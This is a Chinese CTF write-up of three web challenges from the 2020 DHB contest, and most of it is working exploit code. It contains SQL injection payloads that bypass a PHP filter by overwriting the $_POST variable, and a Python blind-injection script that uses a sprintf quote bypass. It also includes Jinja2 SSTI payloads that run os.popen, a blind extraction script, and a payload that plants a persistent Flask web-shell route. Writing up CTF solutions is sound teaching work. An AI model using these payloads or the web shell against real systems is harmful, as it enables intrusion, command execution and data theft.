Skip to content

2020dhb_Web

Web题目复现环境
https://github.com/eggdkk/CTFsec.git

千毒网盘

www.zip获取源代码

code.php 有waf

查询语句select * from file where code='$code'

只有一处可控 还把单引号ban了 。。。 不太好过

foreach (array('_GET', '_POST', '_COOKIE') as $key) {
    if ($$key) {
        foreach ($$key as $key_2 => $value_2) {
            if (isset($$key_2) and $$key_2 == $value_2)
                unset($$key_2);
        }
    }
}
if (isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
if ($_GET) extract($_GET, EXTR_SKIP);
if ($_POST) extract($_POST, EXTR_SKIP);
这里的代码写的很特别感觉有问题..

思路就是利用unset删除掉POST传参 ,然后在if ($_GET) extract($_GET, EXTR_SKIP);处变量重新定义POST参数,绕过filter($_POST['code']);

利用114514a绕过in_array 的检测,返回空结果来看到回显

payload

http://127.0.0.1/?_POST[code]=114514a'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= database()%23

POST
code=114514a'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= database()%23

TryToLogin

查看源代码有<!-- /?file=xxx 请使用绝对路径-->提示 利用proc来读取源代码

/?file=/proc/self/cwd/class.php /?file=/proc/self/cwd/index.php

代码审计 老考点了sprintf 直接绕单引号

%1$\'

<?php
$username = "admin";
$password = "flag%1$\'||(select  substr(hex((select group_concat(`1`) from (select 1 union select * from fl4g)a)),1,1)>%1$\'1%1$\')#";
$sql = "select * from user where username='%s' and password='$password'";
$sql = sprintf($sql,$username);
echo $sql;

然后5.7利用sys数据库爆表名 无列名注入

参考https://blog.dkkkkk.com/basis/NoColumnInjection/ 这里 在用5.7的sys数据库爆表名有点问题 部分只能查到一个表名。。。之后研究一下。。

exp

#!/usr/bin/env python

import requests
req = requests.Session()
url = "http://127.0.0.1/"

s="0123456789abcdef"
flag = ""
for i in range(1,100):
    for j in s:
        post = {
            "username":'admin',
            "password":"flag%1$\'||(select  substr(hex((select group_concat(`1`) from (select 1 union select * from fl4g)a)),{},1)=%1$\'{}%1$\')#".format(str(i),j)
        }
        text = req.post(url,data=post).text
        if 'Success!' in text:
            flag+=j
            print(flag)
            break

Hello

/help 路由看到源码

404页面有SSTI
有个waf'eval' in r or 'popen' in r or '{{' in r
而且读取完flag之后把flag文件删除了,还是用proc去读

盲注

import requests,string,json
url = "http://eci-2ze3z5bed7exfrmbliom.cloudeci1.ichunqiu.com:8888/123"


req = requests.Session()
flag = ""
HEADERS = {'Content-Type': 'application/json'}
s = string.ascii_letters+string.digits
for i in range(50):
    for j in range(128):
        payload = {
            "a": "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_wrap_close' %}{% if '"+chr(j)+"' == c.__init__.__globals__['po'+'pen']('cat /proc/18/fd/3').read()["+str(i)+":"+str(i+1)+"] %}aaaaa{% endif %}{% endif %}{% endfor %}"
        }
        post = payload
        text = req.post(url,data=json.dumps(payload),headers=HEADERS).content.decode("utf-8")
        #print(payload)
        if "aaaaa" in text:
            flag+= chr(j)
            print(flag)
            break

print 回显

{%print request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()%}

{%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %}

写flask路由

{%print [].__class__.__base__.__subclasses__()[132].__init__.__globals__.__builtins__.exec("from flask import current_app\[email protected]_app.route('/sh3l1',methods=['GET','POST'])\ndef sh3l1():\n    import os\n    from flask import request\n    cmd=request.args.get('cmd')\n    x=os.\x70\x6f\x70\x65\x6e(cmd).read()\n    return x") %}


{"a":"{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_wrap_close' %}{% if 'bin' == c.__init__.__globals__['po'+'pen']('ls /').read()[0:3] %}aaaaa{% endif %}{% endif %}{% endfor %}"}

for i in enumerate([].__class__.__base__.__subclasses__()): print (i)


url_for.__globals__.os.popen(request.args.cmd).read()